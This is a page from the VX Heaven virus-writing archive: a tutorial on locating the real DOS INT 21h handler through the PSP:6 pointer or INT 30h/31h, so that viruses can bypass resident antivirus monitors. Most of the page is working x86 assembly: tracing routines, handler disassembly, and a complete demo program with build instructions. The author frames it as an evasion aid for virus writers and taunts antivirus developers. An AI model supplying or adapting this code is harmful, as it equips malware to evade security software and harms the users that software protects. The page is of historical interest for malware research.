Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Finding INT 21's real address using the PSP

Satan's Little Helper

[Back to index] [Comments]

Description

The real address of interrupt 21 is useful to almost all viruses it enables viruses to bypass resident monitoring software loaded as device drivers or TSR's. This article will demonstrate a method by which you can obtain the real address of INT 21 by using the entry at offset 6 in the PSP segment.

PSP:6 contains a double-word pointing (hopefully) to the dos dispatch handler (this is different from the INT 21 handler). Then *optionally* the dispatch handler has a series of jumps (opcode=0EAh) then it will either a) point to the dos dispatch handler or b) the double-NOP call construct used in some DOS versions which will then point to (a).

The dos dispatch handler and int 21 handler in memory appear like this:

dos_dispatch_handler:
    0000  1E                   push    ds
    0001  2E: 8E 1E 3DE7       mov     ds,word ptr cs:[3DE7h]
    0006  8F 06 05EC           pop     word ptr ds:[5ECh]
    000A  58                   pop     ax
    000B  58                   pop     ax
    000C  8F 06 0584           pop     word ptr ds:[584h]
    0010  9C                   pushf
    0011  FA                   cli
    0012  50                   push    ax
    0013  FF 36 0584           push    word ptr ds:[584h]
    0017  FF 36 05EC           push    word ptr ds:[5ECh]
    001B  1F                   pop     ds
    001C  80 F9 24             cmp     cl,24h
    001F  77 DC                ja      $-22h
    0021  8A E1                mov     ah,cl
    0023  EB 06                jmp     $+8
int21_handler:
    0025  FA                   cli
    0026  80 FC 6C             cmp     ah,6Ch
    0029  77 D2                ja      $-2Ch
    002B  80 FC 33             cmp     ah,33h

therefore:

    int21_handler = dos_dispatch_handler + 25h

So the end result is we just find 'dos_dispatch_hndlr' address then check that the opcodes are right (1E2E/FA80) and then add (int21_handler-dos_dispatch_hndlr) to the pointer to dos_dispatch_hndlr to get the INT 21 handler address.

Simple! (read it again if you don't get it).

In the case of (b) occurring we just do the same except the offset of the dispatch handler from the int 21 handler is different:

    0000  90                   nop
    0001  90                   nop
    0002  E8 00E0              call    $+0E3h
    0005  2E: FF 2E 1062       jmp     dword ptr cs:[1062h]
    000A  90                   nop
    000B  90                   nop
    000C  E8 00D6              call    $+0D9h
    000F  2E: FF 2E 1066       jmp     dword ptr cs:[1066h]
int21_handler:
    0014  90                   nop
    0015  90                   nop
    0016  E8 00CC              call    $+0CFh
    0019  2E: FF 2E 106A       jmp     dword ptr cs:[106Ah]
    001E  90                   nop
    001F  90                   nop
    0020  E8 00C2              call    $+0C5h
    0023  2E: FF 2E 106E       jmp     dword ptr cs:[106Eh]
    0028  90                   nop
    0029  90                   nop
    002A  E8 00B8              call    $+0BBh
    002D  2E: FF 2E 1072       jmp     dword ptr cs:[1072h]
    0032  90                   nop
    0033  90                   nop
    0034  E8 00AE              call    $+0B1h
    0037  2E: FF 2E 1076       jmp     dword ptr cs:[1076h]
    003C  90                   nop
    003D  90                   nop
    003E  E8 00A4              call    $+0A7h
    0041  2E: FF 2E 107A       jmp     dword ptr cs:[107Ah]
dos_dispatch_handler:
    0046  90                   nop
    0047  90                   nop
    0048  E8 009A              call    $+9Dh
    004B  2E: FF 2E 107E       jmp     dword ptr cs:[107Eh]

therefore:

    int21_handler = dos_dispatch_handler - 32h

Advantages & disadvontages of this method

This method requires a very small amount of code and can be made even more efficient than the code shown below.

Although untrappable it can be confused into tracing into the resident monitor's trapping code. Much of the logic of this method is hard coded so changes in the opcodes (from TSR AV utilities) will be able to trick it into thinking it has found the correct address (this requires use of the double-NOP signatures).

AV developers appear to be reluctant to modify their software for specific viruses so may avoid placing the sequence to confuse it into their software.

Code

This code is not designed to be size efficent it is designed to be easy to understand.

    ;name:      psp_trace
    ;in cond:   ds=psp segment
    ;out cond:  ds:bx=int 21 address if carry clear
    ;           ds:bx=nothing if carry set.
    ;purpose:   finds int 21 address using a PSP trace.

    psp_trace:
        lds     bx,ds:[0006h]           ;point to dispatch handler
    trace_next:
        cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
        jnz     check_dispatch
        lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
        cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
        jnz     trace_next
        sub     bx,32h                  ;32h byte offset from dispatch
                                        ;handler
        cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
        jnz     check_dispatch
    good_search:
        clc
        ret
    check_dispatch:
        cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
        jnz     bad_exit
        add     bx,25h                  ;25h byte offset from dispatch
        cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
        jz      good_search
    bad_exit:
        stc
        ret

Notes

INT 30h and INT 31h contain *code* (not an address) to jump to the dispatch handler so to trace using INT 30h/31h you just set ds:bx to 0:c0 and call the trace_next in the psp_trace routine.

Debug hex dump of INT 30/31 addresses in the IVT:

              Immediate far JMP
                ____________
    -d 0:c0    |            |
    0000:00C0  EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
               |_________| |_________|
                  INT 30     INT 31
                   addr       addr

    EA 28 00 02 01 = JMP 0102:0028

    ;name:      int30_trace
    ;out cond:  ds:bx=int 21 address if carry clear
    ;           ds:bx=nothing if carry set.
    ;purpose:   finds int 21 address using an INT 30/31 trace.

    int30_trace:
        xor     bx,bx
        mov     ds,bx
        mov     bl,0c0h                 ;point to 0:0c0
        jmp     short trace_next

Other notes

After writing this I heard that the "MG" virus uses the same technique, I have a sample of this virus and it does not use the same technique.

Testing

So far this has been tested on MSDOS 6.x, Novell Netware, and IBM network software all resulting in positive tests.

Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT could not be found. It is expected that this will not work on ALL DOS-type platforms but that is why I implemented error codes in the form of the carry flag being set/clear.

Conclusion

It has been shown that INT 30h/31h is slightly more reliable than the PSP:6 address, so if a call to psp_trace results in carry set then call int30_trace. The reason you should call PSP trace first is that altering INT 30/31 is much easier than altering PSP:6 so it makes the AV do more work ;)

Credits

TaLoN
helped in working out offsets and told me about int 30h/31h pointing to dispatch handler.
Lookout Man
tester
Aardvark
network tester

Demo program

    ;-------8<--------cut here---------8<-------

    comment |

        TASM ASSEMBLY:
            tasm psptest.asm
            tlink /t psptest.obj

        A86 ASSEMBLY:
            a86 psptest.asm
    |

    .model tiny
    .code

    org     100h

start:
    mov     dx,offset psp_status
    call    print_str                       ;print "PSP trace: "
    call    psp_trace                       ;do the trace
    jc      bad_psp
print_status:
    mov     dx,offset ok_str                ;print "Ok!"
    call    print_str
    mov     dx,offset psp_addr              ;print "interrupt trace to: "
    call    print_str
    push    bx
    mov     bx,ds                           ;print segment
    call    bin_to_hex
    call    print_colon                     ;print ":"
    pop     bx
    call    bin_to_hex                      ;print offset
    jmp     do_int30
bad_psp:
    mov     dx,offset bad_str
    call    print_str
do_int30:
    nop
    nop
    mov     word ptr cs:do_int30,20CDh      ;exit next time around
    mov     dx,offset i30_status
    call    print_str                       ;print "PSP trace: "
    call    int30_trace
    jnc     print_status
    jmp     short do_int30

print_str:
    mov     ah,9
    push    ds
    push    cs
    pop     ds
    int     21h
    pop     ds
    ret

psp_addr    db  13,10,'Interrupt traced to: $'
psp_status  db  13,10,'PSP trace      : $'
i30_status  db  13,10,'INT 30/31 trace: $'
ok_str      db  'Ok!$'
bad_str     db  'Failure$'

;name:      psp_trace
;in cond:   ds=psp segment
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using a PSP trace.

psp_trace:
    lds     bx,ds:[0006h]           ;point to dispatch handler
trace_next:
    cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
    jnz     check_dispatch
    lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
    cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
    jnz     trace_next
    sub     bx,32h                  ;32h byte offset from dispatch
                                    ;handler
    cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
    jnz     check_dispatch
good_search:
    clc
    ret
check_dispatch:
    cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
    jnz     bad_exit
    add     bx,25h                  ;25h byte offset from dispatch
    cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
    jz      good_search
bad_exit:
    stc
    ret

;name:      int30_trace
;out cond:  ds:bx=int 21 address if carry clear
;           ds:bx=nothing if carry set.
;purpose:   finds int 21 address using an INT 30/31 trace.

int30_trace:
    xor     bx,bx
    mov     ds,bx
    mov     bl,0c0h                 ;point to 0:0c0
    jmp     short trace_next

bin_to_hex:                         ;will print number in BX as hex
    push    cx                      ;code stolen from KRTT demo
    push    dx
    push    ax
    mov     ch,4
rotate:
    mov     cl,4
    rol     bx,cl
    mov     al,bl
    and     al,0Fh
    add     al,30h
    cmp     al,'9'+1
    jl      print_it
    add     al,07h
print_it:
    mov     dl,al
    mov     ah,2
    int     21h
    dec     ch
    jnz     rotate
    pop     ax
    pop     dx
    pop     cx
    ret

print_colon:
    mov     ah,2
    mov     dl,':'
    int     21h
    ret

    end     start

    ;-------8<--------cut here---------8<-------
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua